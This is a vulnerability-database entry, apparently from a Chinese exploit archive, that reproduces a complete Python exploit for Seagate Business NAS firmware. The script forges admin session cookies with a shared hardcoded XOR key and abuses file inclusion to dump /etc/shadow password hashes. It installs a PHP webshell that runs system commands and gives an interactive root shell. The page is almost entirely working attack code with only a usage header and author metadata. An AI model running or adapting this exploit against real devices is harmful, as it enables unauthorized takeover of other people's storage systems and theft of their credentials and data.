发布 2015-03-01 漏洞条目

Seagate Business NAS 2014.00319 – Remote Code Execution

Exploit Source

#!/usr/bin/env python

# Seagape

# =======

# Seagate Business NAS pre-authentication remote code execution

# exploit as root user.

# by OJ Reeves (@TheColonial) - for full details please see

# https://beyondbinary.io/advisory/seagate-nas-rce/

# Usage

# =====

# seagape.py <ip> <port> [-c [ua]]

# - ip : ip or host name of the target NAS

# - port : port of the admin web ui

# - -c : (optional) create a cookie which will give admin access.

# Not specifying this flag results in webshell installation.

# - ua : (optional) the user agent used by the browser for the

# admin session (UA must match the target browser).

# Default value is listed below

# Example

# =======

# Install and interact with the web shell:

# seagape.py 192.168.0.1 80

# Create admin cookie

# seagape.py 192.168.0.1 80 -c

import base64

import hashlib

import itertools

import os

import re

import socket

import sys

import urllib

import urllib2

import uuid

import xml.sax.saxutils

if len(sys.argv) < 3:

print "Usage: {0} <ip> <port> [-c [user agent]]".format(sys.argv[0])

sys.exit(1)

# Every Seagate nas has the same XOR key. Great.

XOR_KEY = '0f0a000d02011f0248000d290d0b0b0e03010e07'

# This is the User agent we'll use for most of the requests

DEFAULT_UA = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10'

# This is the description we're going to be reading from

LFI_FILE = '/etc/devicedesc'

# the base globals that will hold our state

host = sys.argv[1]

port = int(sys.argv[2])

cis = ''

hostname = ''

webshell = str(uuid.uuid1()) + ".php"

def chunks(s, n):

for i in xrange(0, len(s), n):

yield s[i:i + n]

def forward_interleave(a, b):

return ''.join(itertools.chain(*zip(itertools.cycle(a), b)))

def xor(s, k):

return ''.join(chr(ord(a) ^ ord(b)) for a, b in itertools.izip(s, itertools.cycle(k)))

def sha1(s):

return hashlib.sha1(s).hexdigest()

def decode(s):

f = xor(s, XOR_KEY)

return ''.join(chr(ord(a) ^ ord(b)) for a, b in chunks(f, 2))

def encode(s):

s = forward_interleave(sha1(s), s)

s = ''.join(a + chr(ord(a) ^ ord(b)) for a, b in chunks(s, 2))

return xor(s, XOR_KEY)

def make_request(uri = "/", ci_session = None, headers = None, post_data = None):

method = 'GET'

if not headers:

headers = {}

headers['Host'] = host

if 'User-Agent' not in headers:

headers['User-Agent'] = DEFAULT_UA

if 'Accept' not in headers:

headers['Accept'] = 'text/html'

if post_data:

method = 'POST'

post_data = urllib.urlencode(post_data)

headers['Content-Type'] = 'application/x-www-form-urlencoded'

if ci_session:

ci_session = urllib.quote(base64.b64encode(encode(ci_session)))

headers['Cookie'] = 'ci_session={0}'.format(ci_session)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))

http = ""

http += "{0} {1} HTTP/1.1\r\n".format(method, uri)

for h in headers:

http += "{0}: {1}\r\n".format(h, headers[h])

if post_data:

http += "Content-Length: {0}\r\n".format(len(post_data))

http += "\r\n"

if post_data:

http += post_data

s.send(http)

result = ""

while True:

data = s.recv(1024)

if not data:

break

result += data

s.close()

return result

def get_ci_session():

resp = make_request()

for l in resp.split("\r\n"):

m = re.findall("Set-Cookie: ([a-zA-Z0-9_\-]+)=([a-zA-Z0-9\+%=/]+);", l)

for name, value in m:

if name == 'ci_session' and len(value) > 40:

return decode(base64.b64decode(urllib.unquote(value)))

print "Unable to establish session with {0}".format(host)

sys.exit(1)

def add_string(ci_session, key, value):

prefix = 's:{0}:"{1}";s:'.format(len(key), key)

if prefix in ci_session:

ci_session = re.sub(r'{0}\d+:"[^"]*"'.format(prefix), '{0}{1}:"{2}"'.format(prefix, len(value), value), ci_session)

else:

# doesn't exist, so we need to add it to the start and the end.

count = int(ci_session.split(':')[1]) + 1

ci_session = re.sub(r'a:\d+(.*)}$', r'a:{0}\1{1}{2}:"{3}";}}'.format(count, prefix, len(value), value), ci_session)

return ci_session

def set_admin(ci_session):

return add_string(ci_session, "is_admin", "yes")

def set_language(ci_session, lang):

return add_string(ci_session, "language", lang)

def include_file(ci_session, file_path):

if file_path[0] == '/':

file_path = '../../../../../..' + file_path

return set_language(ci_session, file_path + "\x00")

def read_file(file_path, post_data = None):

resp = make_request(ci_session = include_file(cis, file_path), headers = {}, post_data = post_data)

return resp

def hashdump():

shadow = read_file('/etc/shadow')

for l in shadow.split("\n"):

if l and ':!:' not in l and ':x:' not in l:

parts = l.split(':')

print "{0}:{1}".format(parts[0], parts[1])

def cmd(command):

headers = {

'Content-Type' : 'application/x-www-form-urlencoded',

'Accept' : '*/*',

'User-Agent' : DEFAULT_UA

}

post_data = urllib.urlencode({'c' : command})

headers['Content-Type'] = 'application/x-www-form-urlencoded'

ci_session = urllib.quote(base64.b64encode(encode(cis)))

headers['Cookie'] = 'ci_session={0}'.format(ci_session)

url = 'http://{0}:{1}/{2}'.format(host, port, webshell)

req = urllib2.Request(url, headers = headers, data = post_data)

return urllib2.urlopen(req).read()

def shell():

running = True

while running:

c = raw_input("Shell ({0}) $ ".format(post_id))

if c != 'quit' and c != 'exit':

cmd(c)

else:

running = False

def show_admin_cookie(user_agent):

ci_session = add_string(cis, 'is_admin', 'yes')

ci_session = add_string(ci_session, 'username', 'admin')

ci_session = add_string(ci_session, 'user_agent', user_agent)

ci_session = urllib.quote(base64.b64encode(encode(ci_session)))

print "Session cookies are bound to the browser's user agent."

print "Using user agent: " + user_agent

print "ci_session=" + ci_session

def show_version():

print "Firmware Version: {0}".format(get_firmware_version())

def show_cookie():

print cis

def show_help():

print ""

print "Seagape v1.0 -- Interactive Seagate NAS Webshell"

print " - OJ Reeves (@TheColonial) - https://beyondbinary.io/"

print " - https://beyondbinary.io/bbsec/001"

print "==========================================================================="

print "version - Print the current firmware version to screen."

print "dumpcookie - Print the current cookie to screen."

print "admincookie <ua> - Create an admin login cookie (ua == user agent string)."

print " Add to your browser and access ANY NAS box as admin."

print "help - Show this help."

print "exit / quit - Run for the hills."

print "<anything else> - Execute the command on the server."

print ""

def execute(user_input):

result = True

parts = user_input.split(' ')

c = parts[0]

if c == 'admincookie':

ua = DEFAULT_UA

if len(parts) > 1:

ua = ' '.join(parts[1:])

show_admin_cookie(ua)

elif c == 'dumpcookie':

show_cookie()

elif c == 'version':

show_version()

elif c == 'help':

show_help()

elif c == 'quit' or c == 'exit':

remove_shell()

result = False

else:

print cmd(user_input)

return result

def get_firmware_version():

resp = make_request("/index.php/mv_system/get_firmware?_=1413463189043",

ci_session = acis)

return resp.replace("\r", "").replace("\n", "").split("version")[1][1:-2]

def install_shell():

resp = make_request("/index.php/mv_system/get_general_setup?_=1413463189043",

ci_session = acis)

existing_setup = ''

for l in resp.split("\r\n"):

if 'general_setup' in l:

existing_setup = l

break

# generate the shell and its installer

exec_post = base64.b64encode("<?php if(isset($_POST['c'])&&!empty($_POST['c'])){system($_POST['c']);} ?>")

installer = '<?php file_put_contents(\'{0}\', base64_decode(\'{1}\')); ?>'.format(webshell, exec_post)

write_php = xml.sax.saxutils.quoteattr(installer)[1:-1]

start = existing_setup.index('" description="') + 15

end = existing_setup.index('"', start)

updated_setup = existing_setup[0:start] + write_php + existing_setup[end:]

# write the shell to the description

resp = make_request("/index.php/mv_system/set_general_setup?_=1413463189043",

ci_session = acis,

headers = { },

post_data = { 'general_setup' : updated_setup })

# invoke the installer

read_file(LFI_FILE)

# remove the installer

resp = make_request("/index.php/mv_system/set_general_setup?_=1413463189043",

ci_session = acis,

headers = { },

post_data = { 'general_setup' : existing_setup })

def remove_shell():

return cmd('rm -f {0}'.format(webshell))

print "Establishing session with {0} ...".format(host)

cis = get_ci_session()

if len(sys.argv) >= 4 and sys.argv[3] == '-c':

ua = DEFAULT_UA

if len(sys.argv) > 4:

ua = sys.argv[4]

show_admin_cookie(ua)

else:

print "Configuring administrative access ..."

acis = add_string(cis, 'is_admin', 'yes')

acis = add_string(acis, 'username', 'admin')

print "Installing web shell (takes a while) ..."

install_shell()

print "Extracting id and hostname ..."

identity = cmd('whoami').strip()

hostname = cmd('cat /etc/hostname').strip()

show_help()

running = True

while running:

try:

user_input = raw_input("Seagape ({0}@{1})> ".format(identity, hostname))

running = execute(user_input)

except:

print "Something went wrong. Try again."

作者: OJ Reeves
日期: 2015-03-01
类别: webapps
平台: hardware

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